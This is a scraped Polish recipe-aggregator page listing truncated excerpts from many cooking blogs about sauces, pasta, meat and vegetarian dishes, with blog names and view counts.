Kulinarna (nie)codzienność
Makaron z sosem mięsno warzywnym 206

Jeżeli nie macie pomysłu na obiad to polecamy Wam nasz makaron z sosem mięsno warzywnym – szybkie i pyszne danie :) Składniki

Kuchenne Wariacje
Pulpeciki w Pikantnym soSiE PoMidOroWym z kaszą BuLGur 244

doprawiamy bazylią  mięso mieszamy z bułką w śmietanie, doprawiamy solą i pieprzem. Dosypujemy parmezan oraz posiekaną szalotkę, formujemy kuleczki, które obtaczamy w mące i podsmażamy podsmażone pulpeciki zalewamy sosem, dusimy jeszcze przez około 10 minut, w międzyczasie gotujemy kaszę podajemy razem, gorące, oprószone szczypiorkiem i parmezanem! Smacznego!! P.S jeśli nie jedliście jeszcze tej pysznej kaszy lub nie lubicie próbować

Luźna Kuchnia
Cross Baltic Cooking | 30.0 – relacja 213

piwa czekała nie lada gratka... kucharze przygotowali m.in: białe szparagi w bułce tartej z parmezanem , zielony groszek ze słoniną, szczawiem i żółtkiem , dorsza z kaszanką, selerem naciowym i sosem drobiowymi oraz wyśmienitą wieprzowinę puławską z borowikami, selerem i morelami . Moje serce jednak podbił przepyszny deser - czereśnie, migdały i werbena cytrynowa . Muszę się przyznać, że tutaj na jednym deserze się

Kulinarnyblog.pl - wiesz jak gotować!
KURCZAK W SOSIE CURRY Z MANGO 309

lekko miękkie - dzięki czemu po ugotowaniu będzie soczyste i pełne smaku. Jeśli nie chcecie lub nie możecie użyć mleka kokosowego zastąpcie je 30 % śmietanką. Przed podaniem najlepiej posypać sos świeżą papryczką chili i listkami kolendry. SKŁADNIKI na 2 porcje 1 pojedyncza pierś kurczaka 1 duże mango 2 łyżki oleju kokosowego lub innego roślinnego 1/2 puszki ( 200 g) mleka kokosowego opcjonalnie

cool and minty
POTRAWKA Z KURCZAKA 231

minut. Często mieszamy. Pilnujemy, aby cebula się nie przypaliła. Wlewamy rosół i zagotowujemy. Zmniejszamy ogień do małego. Mąkę wsypujemy do miseczki. Stopniowo, energicznie mieszając, dolewamy śmietankę. Przelewamy do sosu. Zagotowujemy. Dodajemy posiekaną natkę pietruszki i podzielone na kawałki mięso. Próbujemy i ewentualnie doprawiamy do smaku solą i pieprzem. Zagotowujemy i odstawiamy z ognia. Podajemy z ryżem lub ziemniaczkami oraz sałatą

cool and minty
Makaron ze szpinakiem i kurczakiem 212

sól, pieprz i dusimy pod przykryciem do miękkości. Następnie dodajemy szpinak, mieszamy żeby połączył się z tłuszczem i dolewamy śmietanę. Doprowadzamy do wrzenia i zestawiamy z palnika. Tak przygotowany sos podajemy z ugotowanym makaronem

Czary - gary w kuchni
Sos tatarski delikatny 181

Bardzo często korzystam z sosu tatarskiego jako dodatek do wielu dań. Idealnie sprawdza się jako akcent na kanapkach, jajkach, wędlinach czy podany do mięsa. Dziś przedstawiam lżejszą wersję (bez warzyw w occie) tzw wersję francuską. Składniki: 1 słoiczek majonezu 1 łyżeczka musztardy sok z cytryny do smaku 1 łyżeczka startego chrzanu (może być ze słoiczka) 3 łyżeczki posiekanego szczypiorku

Tradycyjna Kuchnia
Wegańskie pesto bazyliowe. 234

oprócz ciekawego serowo-orzechowego smaku, wzbogaciły  potrawę w witaminy z grupy B, kwas foliowy, białko, potas czy magnez. Płatków drożdżowych możecie używać także jako  zagęszczacz do zup, sosów, posypka na kanapki czy składnik wegańskiego "parmezanu" z dodatkiem nerkowców i migdałów. Zdecydowanie polecam spróbować.  PROSTE PESTO BAZYLIOWE Składniki: spora garść listków bazylii 1 mały ząbek czosnku

Powiedz dietom nie
Polędwiczka wieprzowa w sosie śmietanowo-Somersby 354

Dodajemy kapary – ja je lubię, więc dodałem nieco więcej. Jeśli są dla Ciebie zbyt intensywne, możesz zmniejszyć ich ilość. Doprawiamy posiekanym świeżym rozmarynem i dodajemy ok 220ml śmietany. Gdy sos się zagęści, doprawiamy do smaku solą lub pieprzem. Z solą uważajcie, bo kapary są słone! Podajemy z pieczonymi ziemniakami na sałacie rzymskiej. Szczypiorek do dekoracji. Smacznego! Zarejestruj się na streetcom.pl

MarcinChef
Sałatka z warzyw z rosołu 235

kosza bo po co to komu? Wy też tak robicie? Ja nigdy, zawsze coś pysznego z nich powstanie, czy to pasztet warzywny, czy miksuję je i zagęszczam potem sosy albo tak jak teraz robię sałatkę, nic się nie może zmarnować. Zapraszam na pyszną sałatkę. Sałatka z warzyw z rosołu. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Francuskie koperty z kurczakiem serowo-curry oraz ze szpinakiem i mozzarellą 257

Powinęła mi się noga i zawaliłam. Niejeden z Was czekał na dzisiejszy obiecany przepis na domowe lody, a tu nie pojawia się rano żaden wpis. Już

Anioszek w kuchni
Burgery jaglane z botwinką 221

burgery to zapragnęłam je mieć i proszę wjechały na stół. Burgery tak przygotowane to rozkosz dla zmysłów, polecam gorąco a do tego są bardzo widowiskowe. Do burgerów proponuję sos jogurtowo - chrzanowy idealnie pasujący do botwiny. Zajadamy na zdrowie. Burgery jaglane z botwinką. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron z sosem truskawkowym, z dodatkiem bazylii i miodu 204

Makaron z truskawkami kojarzy się przeważnie w formie słodkiej, najlepiej z dodatkiem śmietany lub jogurtu naturalnego. Ja dzisiaj pokusiłam się o stworzenie sosu z dodatkiem bazylii. Truskawki z bazylią tworzą smaczny i pachnący duet, aczkolwiek pewnie nie każdemu to połączenie zasmakuje. Warto jednak próbować smaków innych niż tradycyjne, czy takich, do których przyzwyczailiśmy się. Składniki na 1 porcję: makaron - użyłam

Codzienna kuchnia niecodzienna
Kurczak marynowany w miodzie z chłodnikiem i ziemniaczkami wg Okrasy 251

moje pichcenie wedle przepisów z LIDL’a , ale tym razem gotuję z Okrasą ;-) Składniki Podudzie kurczaka 2 podudzia (ja użyłam ćwiartkę kurczaka) Miód 4 łyżki Czosnek 4 ząbki Sos sojowy 2 łyżeczki Cytryna 1 cytryna Ogórek 1 świeży Jogurt naturalny 50 ml Ser feta 100g (grecki sałatkowy) Kefir 200ml Mięta 10 listków, świeżej […] The post Kurczak marynowany

Kulinarne Przeboje
Pasta z czerwonej fasoli i awokado 174

którym zobaczycie jak robię pastę. Trzeba do tego podejść z dystansem. Nie można wszystkiego brać zbyt na serio. Składniki: Czerwona fasola – 1 puszka / 220g Pomidory – 1/2 puszki Sos sojowy – 1 łyżka Awokado – 1/2 sztuki Kumin – 1 łyżeczka Papryka wędzona ostra – 1 łyżeczka Pieprz do smaku Wykonanie: Wszystkie składniki umieść w misce lub kielichu

Blendman
Delikatna i krucha karkówka - pieczona trochę inaczej :) 297

wyjąć ze słoika, zostawić zalewę w słoiku, duże przyprawy z zalewy można wyrzucić, ale nie trzeba. Ogórki pokroić w kostkę, wyłożyć na pieczarki. A z zalewy z ogórków robimy sos do pieczenia - dodać do słoika z zalewą keczup, wymieszać dokładnie i zalać karkówkę. Dzięki zawartości octu w zalewie mięso podczas pieczenia kruszeje, staje się delikatne, aż rozpływa się w ustach

dobra gospodyni dom wesołym czyni
Wiosenny gulasz z kurczaka i młodej marchewki 511

łyżki masła i 1 łyżka oleju do smażenia 200 ml zimnej wody 3 łyżeczki koncentratu pomidorowego 1 płaska łyżka mąki pszennej 2-3 łyżki kukurydzy konserwowej szczypiorek przyprawy do sosu: po 1/3 łyżeczki soli i pieprzu ziołowego, opcjonalnie pieprz czarny i papryka słodka. Czytaj całość

Anioszek w kuchni
Farfalle z kurczakiem i mascaropne 224

odrobinę oliwy do wrzątku wsypujemy makaron na patelni podgrzewamy oliwę z łyżką masła, szalotki obieramy, szatkujemy i podsmażamy do zeszklonej cebulki dokładamy kurczaka, podsmażamy, dokładamy serek mascarpone, mieszamy do sosu z kurczakiem przekładamy makaron, delikatnie mieszamy podajemy gorące oprószone parmezanem i świeżo mielonym pieprzem SMACZNEGO

Luźna Kuchnia
Schab po bałkańsku 174

przez około 30 minut od czasu do czasu mieszając. Następnie dodajemy koncentrat pomidorowy, ogórki pokrojone w kostkę i przyprawy. Dusimy jeszcze około 10-15 minut, do miękkości mięsa. Jeśli sos się zbytnio zredukuje można podlać wodą

e-PrzepisyKulinarne
Kotlety z kaszy gryczanej i ziemniaków 180

rozgrzanym oleju na złoty kolor. Rzodkiewkę ścieramy na drobnej tarce, a następnie łączymy z solą i jogurtem. Podajemy jako dodatek do kotletów. P.S. Takie kotlety możecie też podać z sosem mięsnym lub pieczarkowym

Czary - gary w kuchni
Tagliatelle z krewetkami 198

wodzie. Suchy makaron wymaga dłuższego gotowania. Rozgrzej oliwę na patelni. Delikatnie podsmaż czosnek i chili, tak aby się nie zrumieniły. Dodaj pomidorki i smaż aż pomidorki się zmarszczą. Dopraw sos solą i pieprzem oraz otartą skórką i sokiem z cytryny. Na koniec dodaj liście bazylii i krewetki. Zamieszaj i potrzymaj chwilę chwilę na ogniu tak aby krewetki się ogrzały

codojedzenia
Lunch w pracy: sałatka z łososiem, jajkiem i sosem chrzanowym 260

gotujemy na twardo i kroimy w ósemki. Rzodkiewkę kroimy w krążki i także dodajemy do sałatki.  Majonez mieszamy razem z chrzanem, odrobiną soli i pieprzu. Polewamy tak przygotowanym sosem sałatkę.  Smacznego

Taste Therapy
Szynka w sosie teriyaki 188

Pysznego mięsa zawsze chętnie spróbuję i nie pogardzę. Ta szyneczka może być podana do obiadu albo jako wędlina na chleb. Aromatyczna, soczysta, krucha godna polecenia. Szynka w sosie teriyaki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Spaghetti z sosem mięsno-warzywnym 296

makaronu spaghetti 250 g zmielonej łopatki wieprzowej 3 pomidory 1/2 cukinii 1/2 bakłażana 1 cebula 1 papryka 2-3 duże pieczarki 2 łyżki koncentratu … Czytaj dalej Spaghetti z sosem mięsno-warzywnym

czarrna od kuchni
bitki schabowe w sosie podgrzybkowym... 182

podgrzybków, wlać 1 szklankę wody i pod przykryciem dusić z 30-40 minut, do miękkości mięsa resztę mąki wymieszać ze śmietaną, wodą i wlać do mięsa mieszając do zagęstnienia sosu, dodać przyprawę w płynie do smaku, posiekany koperek z natką pietruszki - bitki są smaczne do ziemniaków, kaszy lub z czym się lubi.............SMACZNEGO

W Mojej Kuchni Lubię
Sajgonki w sosie słodko - kwaśnym 180

Pyszne sajgonki na cieplejsze dni. Szybkie w wykonaniu, smaczne, pełne kolorów i znikają zdecydowanie za szybko. Zróbcie sobie dużo bo będą smakowały. Polecam gorąco. Sajgonki w sosie słodko - kwaśnym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
sos czosnkowy II 144

Polecam sos czosnkowy w innym wydaniu

Ugotujmy Coś
Królik z czosnkiem w białym sosie 179

Dzisiaj mamy dla Was przepis z ostatnio recenzowanej książki „Mamuszka” a jest nim królik z czosnkiem w białym sosie. Składniki na królika

Kuchenne Wariacje
Raita ogórkowa 233

Mój wkład w letni numer Aromatu to przepisy na dania majówkowe. Jeden już Wam zaprezentowałam - Orientalna surówka z młodych warzyw - teraz czas na raitę ogórkową. Jest to rodzaj sosu do warzyw, mięsa lub pieczywa. Idealnie orzeźwia w upalne dni a poprawia humor w te ponure i deszczowe. Przepis pochodzi z kuchni indyjskiej i jego zadaniem często jest łagodzenie pikantnych potraw

sierotka maRysia w kuchni
Curry z jagnięciną 177

błonek i tłuszczu, pokroić na cienkie paseczki. Wrzucić do woka i smażyć mięso, aż straci kolor surowizny. Co chwilkę mieszać. Dodać pastę curry, mleczko kokosowe, pokrojoną paprykę,przecier pomidorowy, sos rybny tajski, sok z cytryny, wołowy wywar, Wymieszać i zagotować. doprawić do smaku solą, jeśli nie jest wystarczająco doprawione. Zmniejszyć gaz i gotować, aż mięso będzie miękkie. Na koniec dodać

Kuchnia Pokoleń
Marynata i pyszna pierś kurczaka z grilla 170

wcześniej, ale można też grillować od razu po połączeniu mięsa z marynatą. Nam smakowało bardzo, i będę powtarzała jeszcze nie raz. ok. 1 kg piersi kurczaka marynata : 100 ml sosu słodko kwaśnego 2 posiekane ząbki

Polska Zupa
Niedźwiedzie pesto 196

przeciwzapalne - na lśniące włosy i mocne paznokcie To oczywiście nie wszystkie zalety czosnku niedźwiedziego, warto docenić jego walory kulinarne. Wprost niezastąpiony do mięs (również dziczyzny), ryb, serów, sałatek, zup, sosów, nalewek… i nie tylko. Niedźwiedzie pesto zadomowiło się w mojej kuchni na stałe. Składniki: - świeże liście czosnku niedźwiedziego - ziarna słonecznika - różowa sól himalajska - parmezan (lub Grana Padano) - sok z cytryny

mojewypiekiinietylko
Kotleciki mielone z kaszą jaglaną 251

przepisie postanowiłam połączyć mięso mielone z zdrową i lekkostrawną kaszą jaglaną. Z tego połączenia powstały przepyszne kotleciki z mięsem i kaszą jaglaną w sosie pomidorowym. Możemy podać je z ryżem, ziemniakami lub makaronem. Danie jest bardzo smaczne i sycące. Posmakuje dzieciom jak i dorosłym. Polecam Post Kotleciki mielone z kaszą jaglaną

Marta Gotuje
Grill - Mielone na patyku (z sosem jogurtowo-miętowym) 252

Mielone mięso wołowe podane w nietypowy sposób (na patyku) to kolejny idealny przepis na grilla :) Do tego polecam pyszny sos jogurtowo-miętowym. Czytaj więcej

Ana Mari's world
Grill - Mielone na patyku (z sosem jogurtowo-miętowym) 252

Mielone mięso wołowe podane w nietypowy sposób (na patyku) to kolejny idealny przepis na grilla :) Do tego polecam pyszny sos jogurtowo-miętowym. Czytaj więcej

Ana Mari's world
Kurczak ostro - słodki 169

zmięknie od czasu do czasu mieszając. Gdy tak się stanie dodajemy starte na grubej tarce jabłko i mleko kokosowe; dusimy jeszcze przez chwilę aż jabłko rozsmaży się. Tak przygotowany sos podajemy z ryżem, posypany sezamem (wcześniej podprażcie go chwilę na suchej patelni) i polany jogurtem

Czary - gary w kuchni
Domowy paprykarz szczeciński 149

sztuki Ziele angielskie – 2 kulki Jałowiec – 1 kulka Liść laurowy – 2 liście Olej lniany – 8 łyżek Nori – 1 sztuka Płatki drożdżowe – 3 łyżki Sos sojowy/Tamari ciemny – 4 łyżki Papryka wędzona – 1 łyżeczka Olej kokosowy/rzepakowy – do smażenia Wykonanie: W garnku zagotuj bulion i dodaj przepłukaną kaszę jaglaną. Gotuj pod przykryciem do czasu

Blendman
Łopatka w sosie borowikowo – cebulowym 207

długo, aż woda z grzybów wyparuje. Na dno rozłożyć połowę plastry mięsa, na to rozłożyć cebulkę, następna warstwa mięsa i obsmażone pieczarki. Do dużego kubka wsypać proszek gotowego sosu borowikowego i proszek zupy cebulowej. Wlać śmietanę i wywar warzywny. Dokładnie wymieszać. Wylać wszystko na mięso i wstawić na kilka godzin do lodówki, najlepiej jednak na noc Przykryć naczynie i wstawić

Kuchnia Pokoleń
Sos koperkowy na gorąco 286

Sos koperkowy podawany na gorąco jest niezastąpionym dodatkiem do wszelkiego rodzaju mięs, ale ja bardzo lubię go również jako dodatek do kotletów warzywnych, albo ryżu z warzywami. Składniki: 2 łyżki masła 2 łyżki mąki pszennej 500 ml zimnego bulionu (może być z kostki) 1 pęczek posiekanego koperku 150 ml śmietany (18%) szczypta gałki muszkatołowej 1 łyżka soku z cytryny

Trzeci talerz
Schab zapiekany w sosie śmietanowo - majonezowym 208

pieprzu 1/4 łyżeczki pieprzu czarnego Schab kroimy w plastry i rozbijamy jak na schabowe. Pozostałe składniki mieszamy razem i zalewamy mieszanką mięso, dokładnie mieszamy, by każdy plaster oblał się sosem i wstawiamy na godzinę do lodówki. Po tym czasie przekładamy całość do naczynia żaroodpornego, przykrywamy je i wstawiamy do piekarnika nagrzanego do 200 stopni (dolna grzałka, termoobieg) na 45 minut

Czary - gary w kuchni
Pasta z bakłażana – baba ghanoush 148

Wydrążony miąższ, czosnek oraz pozostałe składniki umieść w misce i zblenduj. Wyłóż do miseczki i wstaw do lodówki. Przed podaniem polej oliwą i posyp pietruszką. Mi najbardziej smakuje jako sos do maczania pieczywa. Smacznego! Artykuł Pasta z bakłażana – baba ghanoush pochodzi z serwisu Blendman.pl - wegańskie przepisy z użyciem blendera

Blendman
Karkówka duszona z warzywami 230

Polecam przepis na pyszne zrazy z karkówki duszone w sosie własnym z marchewką i selerem naciowym. Składniki: 600g karkówki wieprzowej 6-7 łodyżek selera naciowego 2 marchewki 2 cebule ok 0,5 l bulionu mięsnego liście laurowe, ziele angielskie papryka ostra sól, pieprz mąka Przygotowanie Mięso dzielimy na porcje. Posypujemy pieprzem i papryką i obtaczamy w mące. Na patelni rozgrzewamy

e-PrzepisyKulinarne
Makaron ze szpinakiem 157

się rozpuści. Całość dusimy jeszcze przez chwilę, na koniec doprawiamy pieprzem. Fetę i paprykę kroimy w kostkę. Makaron gotujemy zgodnie z przepisem na opakowaniu.  Na ugotowany makaron wykładamy sos szpinakowy, posypujemy fetą i papryką.  Przepyszne

Czary - gary w kuchni
Roladki drobiowe w warzywnym sosie 155

warzywa delikatnie mieszamy (żeby nie uszkodzić roladek) i dalej dusimy pod przykryciem do miękkości. Jeśli z roladek wypłynęło trochę sera, nie przejmujcie się, po prostu rozmieszajcie go w warzywnym sosie. Jeśli czujecie taką potrzebę, możecie gotowe danie jeszcze raz doprawić solą i pieprzem.  Tak przygotowane mięso pasuje do kaszy, ryżu lub ziemniaków

Czary - gary w kuchni
Sałatka – zielone gniazdo z jajkiem 196

posypałam.  Z ostrym dressing ją polałam i smaczną sałatkę bez użycia soli w kilka chwil przygotowałam. Składniki na 1 porcję: na dressing: ½ soku z cytryny, 1 łyżeczka pikantnego sosu na bazie chili, 2 - 3 łyżki oleju rzepakowego Rapso, ponadto: garść rukoli, kilka kiełków słonecznika, kiełki rzodkiewki, 1 łyżeczka małych kaparów, 1 jajko, 1 łyżeczka octu, kilka rzodkiewek, 1/2 łyżeczki

Moniki Smakołyki
Jabłkowa śmietana 131

sos wykorzystaliśmy jako dodatek do selerowych placków. Składniki 200 g kwaśnej śmietany pół cytryny małe jabłko ! 100g ) cebulka ze szczypiorkiem sól pieprz czarny pół łyżeczki curry   Przygotowanie   Umyłem cytrynę, wycisnąłem sok. połowy. Śmietanę wymieszałem z 2 łyżkami soku cytrynowego. Jabłko obrałem, oczyściłem z gniazda nasiennego i starłem. Cebulę umyłem, oczyściłem i pokroiłem w cieniutkie krążki. Jabłko i cebulę

R'n'G Kitchen
Hummus z suszonymi pomidorami 142

przekąska, niestety strasznie, ale to strasznie niezdrowa. Jednak od czasu do czasu co nam szkodzi, prawda? Polecam podawanie go jako smarowidło do kanapek czy, jak w tym przypadku, jako sos do maczania snaków, takich jak wspomniane wcześniej grissini, których nie udało się upolować, chipsów czy krakersów. Ja do wykonania hummusu używałem pomidorów suszonych na słońcu bez zalewy, ale spokojnie można

Blendman
Lekkie pulpeciki z ryżu, kaszy jaglanej i fileta 411

szkl ugotowanego ryżu 1 szkl ugotowanej kaszy jaglanej 250 g fileta z piersi kurczaka 1 mała cebulka 1 jako sól pieprz ziołowy szczypta hyzopu na sos puszka 400 g pomidorów krojonych 4 łyżki śmietany 1 łyżka mąki jaglanej lub kukurydzianej. oregano bazylia sól cukier pieprz Składniki na pulpety wraz z pokrojonym mięsem i posiekaną cebulą wkładamy co blendera i blendujemy

Gotowanie jest łatwe
Kurczak w ziołach z sosem serowym 157

Śmietankę wlać do garnka i podgrzewać na małym ogniu. Dodać sery i mieszać, aż się rozpuszczą.. Na końcu w kieliszku wódki wymieszać mąkę i wlać do sosu. Doprawić do smaku solą..  Mięso grillować po kilka min z każdej strony.. (kiedy patelnia grillowa puści mięso wtedy jest gotowe - nie szarpać). Ja podałam z szpinakowym puree z ziemniakami

Gaździnka warzy
Sos marinara w 25 minut 165

Czas przygotowania   i gotowania : 25 minut Szybki, łatwy i smaczny domowy sosu z dużą ilością bazylii! Składniki 1-2 łyżki oliwy z oliwek 1 łyżka masła 2 ząbki czosnku, przepuszczone przez praskę 1 łyżeczka suszonego oregano 1 łyżeczka płatków papryki 500 ml soku pomidorowego tutaj słoik pomidorów w zalewie własnej ,lub 1 puszka pomidorów całych 1 średnia cebula, obrana

w mojej kuchni
Klasyczny hummus 142

oliwek. Znana na całym świecie głównie za sprawą wegetarian i wegan, zdobywa również uznanie wśród mięsożerców. Świetnie się sprawdzi zarówno na szybkie śniadanie jako pasta do chleba, jak i sos, w którym będziemy maczać ogórki, krakersy, paluchy (zarówno te chlebowe, jak i własne). Dobrze komponuje się z winem, jest bardzo szybka do przygotowania (można użyć ciecierzycy z puszki), dlatego też

Blendman
Masło orzechowe 164

najpopularniejszym sposobem wykorzystania masła orzechowego w kuchni są po prostu kanapki z nim oraz dżemem. Niestety niewiele osób idzie o krok dalej, a można wyczarować z jego pomocą pyszny sos orzechowy, nadziewane czekoladki czy pyszny czekolado-orzechowy koktajl. Zachęcam więc Was do zrobienia domowego masła orzechowego, które na pewno będzie bazą dla niejednego przepisu na tym blogu! Składniki: 500g orzeszków

Blendman
Sałatka warstwowa z sosem z rzodkwi i groszku 285

Będąc w ferworze przygotowań świątecznych wpadłam w amok tworzenia nowych dań i smaków. Jak zwykle zapomniałam kupić wszystkie potrzebne składniki i musiałam improwizować z tych, które pozostały w lodówce. Sos do sałatki warstwowej to totalna wariacja kulinarna. Mam nadzieję, że … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Grillowany labraks z sosem z czerwonej papryki 197

podniebienia. Labraksa czyli okonia morskiego przygotowałam według pomysłu Doroty Wellman z książki "Ryby są super". Polecam więcej przepisów z tej książki, są rewelacyjne. Grillowany labraks z sosem z czerwonej papryki. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Rolady z kurczaka w sosie pomidorowym z mozzarellą 204

Kurczak, sos pomidorowy i mozzarella - nic więcej do szczęścia nie potrzeba :) Danie jest bardzo proste w wykonaniu i nie jest czasochłonne.  Potrzebujemy: 2 piersi z kurczaka 6 plastrów szynki prosciutto 2 puszki krojonych pomidorów 1 kulka mozzarelli oliwa z oliwek przyprawy: sól, pieprz, oregano, chili , bazylia Piersi dokładnie oczyszczamy z błonek, przekrajmy  na dwie lub trzy części

Kolejny blog o gotowaniu
Burgery wołowe 204

Wpis pochodzi z www.mgotuje.pl Wyśmienite burgery wołowe swojej roboty z domową bułką, karmelizowaną czerwoną cebulką i pysznym sosem. Przygotowując je w domu mamy pewność co zjadamy, a więc nie musimy się martwić co jest w środku i z czego to powstało Jako dodatek super się tutaj sprawdza karmelizowana cebulka, która smakuje

Marta Gotuje
Śledzie w sosie musztardowym 149

odsączamy z oleju i kroimy w małe kawałki.  Jogurt grecki mieszamy z majonezem oraz musztardami. Dodajemy łyżeczkę kurkumy i curry, sól oraz pieprz. Wszystko razem mieszamy. Tak przygotowanym sosem polewamy śledzie i odstawiamy do lodówki minimum na noc.  Smacznego

Taste Therapy
TARTA FRANCUSKA Z GRZYBAMI, KASZĄ I SOSEM ŚMIETANOWO-SEROWYM Z ZIOŁAMI 179

robiłam żadnej tarty! Chodziła za mną, chodziła i wychodziła! Dziś mam dla Was przepis na fantastyczną tartę na cieście francuskim. Wypełniona farszem z grzybów , kaszy jęczmiennej i zalana pysznym sosem śmietanowo-serowym z dodatkiem ziół. Niezwykle sycąca, aromatyczna, no a przez to, że jest na cieście francuskim – błyskawiczna do zrobienia! Koniecznie spróbujcie, a potem dajcie znać jak smakowała! SKŁADNIKI

Ostra na Słodko
Sos śmietanowo-serowy z kurczakiem i pieczarkami 325

dodaj koperek, a potem mięso razem z sokiem, które puściło na talerzu. Na koniec wrzuć serek pokrojony na kawałki i mieszaj wszystko, aż całkowicie się rozpuści i połączy z sosem. Świetnie smakuje z ryżem lub makaronem. Smacznego! var __nc_widgets = __nc_widgets || []; var __nc_j = __nc_j || null; __nc_widgets.push(['A60A-9E99-9231-BE28-1a1yNY', 'anioszek.blogspot.com', 'carousel', 1, 1]); (function

Anioszek w kuchni
Błyskawiczny obiad, zapiekanka z tortellini 275

szpinak. Smażyć, aż szpinak zmięknie, następnie wlać pomidory z puszki i pastę z suszonych pomidorów. Dokładnie wymieszać i smażyć 2-3 minuty. Doprawić do smaku solą i pieprzem. Wylać sos na tortellini, porozrzucać poszarpaną mozzarellę. Na koniec posypać startym parmezanem. Wstawić zapiekankę do nagrzanego piekarnika do 220 C i zapiekać 10 minut. Smacznego, to jest pyszne. Super nadaje się

Kuchnia Pokoleń
Kiedy czas goni 220

jogurtu greckiego;  z sosem truskawkowym  tak to jest jak chce się 5 min dłużej pospać

More food, love and dreams
Awokado zapiekane z jajkiem i boczkiem 182

sera, z boku wetknąć plasterek boczku. Zapiekać w piekarniku nagrzanym do temperatury 190 stopni przez około 20-25 minut. Podawać posypane drobno posiekaną papryczką chili, z cząstką cytryny i sosem majonezowym. Sami powiedzcie, czy to danie nie wygląda pięknie? :) Podrzucam Wam również przepis na domowy majonez

Codzienna kuchnia niecodzienna
Kaczka imbirowo-sojowoł (W tłumaczeniu dziś nie poszaleję ;) ) 208

przecież 7 kilka lat 8 był, ō- samogłoska w wymowie między o i u 9 gdzieś 10 gęś 11 zwykłych 12 przez 13 powiedzieć 14 naprawdę 15 niej 16 sosu 17 oleju 18 gdybyście 19 nie będziemy się zadręczać 20 z powodu 21 włożyć 22 późńiej 23 dłużej 24 później 25 jej 26 roztrzepać 27 kubku

Chop w kuchni
Lasagne 185

Wpis pochodzi z www.mgotuje.pl Lazania to zapiekanka z makaronem w kształcie dużych płatów, przełożonych sosem mięsno – pomidorowym oraz beszamelowym. Doskonale nadaje się na rodzinny obiad, jest pyszna i syta. Jestem pewna że Wam również posmakuje, przygotowuje ją dosyć często dla moich domowników, aż dziw że jeszcze jej nie umieściłam

Marta Gotuje
dawno jej nie było 204

Kokosowa tapioka*, z sosem wiśniowym  *duże ziarna tym razem w czasie zakupy pokusiłam o te większe kuleczki, pomimo, że ich nie widać, ale uwielbiam tą budyniową konsystencję tapioki, choć muszę pamiętać, że pomimo, że wydawać mogłaby się dobre, to trzeba gotować w trochę większej ilości mleka i dłużej, bo nie wszystkie wyszły jakoś takie same. logika samych wiśni

More food, love and dreams
Kurczak w sosie pomidorowo-cukiniowym 284

Składniki: 1 pojedynczy filet z kurczaka 1/2 zielonej cukinii 3 pomidory 1 cebula 3 ząbki czosnku sól, pieprz słodka papryka pieprz kajeński zioła prowansalskie … Czytaj dalej Kurczak w sosie pomidorowo-cukiniowym

czarrna od kuchni
Sałatka z gorącym camembertem 204

Składniki:     mix sałat     gruszka     orzechy włoskie     suszona żurawina     ser camembert     sos winegret -  PRZEPIS TUTAJ     żurawina do serów i mięs - PRZEPIS TUTAJ Przygotowanie: Na talerzu rozkładamy mix ulubionych sałat. Gruszkę kroimy w plastry razem ze skórką, układamy na sałacie

bistro mama
powoli zacząć tydzień 164

Batatowe placki, z bananem; sosem kakaowym i gorzką czekoladą  tydzień tak zaczęty nie może być zły

More food, love and dreams
Omlet podwórjnie dyniowy. 152

Dyniowy omlet; (z mąki dyniowej i pure)  z ricottą i sosem truskawkowym  coraz bardziej czyszczę swoje letnie zapasy.. w końcu kolejne lato się zbliża :) instagram  / facebook

More food, love and dreams
Zieleninka z kurczakiem. 253

rozdrabniamy palcami i rozsypujemy na sałacie. Dodajemy pomidory, oliwki i pokrojonego kurczaka. Oleje, sok z cytryny i miód mieszamy ze sobą. Dodajemy pieprz i niewielką ilość soli. Sałatkę polewamy sosem tuż przed podaniem. Smacznego

Miksturownik
smaczny sos szpinakowy... 188

zmiksować w dzbanku blendera liście, masło roztopić w rondlu, dodać ząbki czosnku, wlać szpinak, dodać mąkę, kucharka, pieprz mieszając rózgą zagotować, dodać gęstą śmietanę i mieszając krótko zagotować sos szpinakowy jest pyszny do różnych dań: makarony, kotleciki mięsne-warzywne, kluski, pierogi, nawet do frytek czy placków, naleśników, smakuje na ciepło i na zimno...................SMACZNEGO

W Mojej Kuchni Lubię
Pasta z pomidorków koktajlowych na ostro 197

wyjątkową.  Taka pasta ma wszechstronne zastosowanie, bo takie właśnie jest jej zadanie. Pizze na ostro można z nią przygotować, wystarczy ciasto przed pieczeniem pastą posmarować. Do zup, do sosów można jej dodawać, czy z nachosami podawać, a gdy gorący makaron z pastą wymieszamy, ser starty dodamy, to szybkie, ostre danie w kilka mamy. Składniki: 500 g pomidorków koktajlowych

Moniki Smakołyki
Fusilli al torchio w sosie pomidorowym 240

makaronu Fusilli al torchio (lub innego :)) 250 g zmielonej łopatki wieprzowej 100 g świeżego szpinaku 1/2 czerwonej papryki 1/2 niedużej cukinii 2 … Czytaj dalej Fusilli al torchio w sosie pomidorowym

czarrna od kuchni
Wołowina w sosie mango z czarną soczewicą 163

patelni wytworzy się sok dodajemy przecier z mango. Doprawiamy do smaku pieprzem. Całość dusimy przez 5 minut. Soczewicę gotujemy na miękko, bez dodatku soli. Odsączamy i podajemy z sosem, dekorujemy kawałkami papryki.  Danie nie jest za bardzo fotogeniczne, ale jest przepyszne w smaku :)  Na zdjęciach: talerzyk deserowy biały Arv - Ikea

Gotowanie i blogowanie
Krewetki z maślanym czosnkiem 169

łyżkę masła i podsmażamy makaron na złoto. Pomidorki kroimy na połówki, dodajemy do podsmażanego makaronu.  Na talerzach układamy podsmażony makaron z pomidorkami a następnie krewetki z czosnkiem i sosem, który powstał z masła.  Na zdjęciach: talerz głęboki  Onse Colle - Villa d'Este

Gotowanie i blogowanie
Makaron z sepią w sosie serowym z przegrzabkami 159

wykwintne. Makaron z sepią jest bardzo widowiskowym makaronem i polecam go do dań wszelakich. Przegrzebki - muszle św. Jakuba to prostota i wykwintność zarazem, polecam serdecznie. Makaron z sepią w sosie serowym z przegrzebkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekana chałka z sosem truskawkowym 212

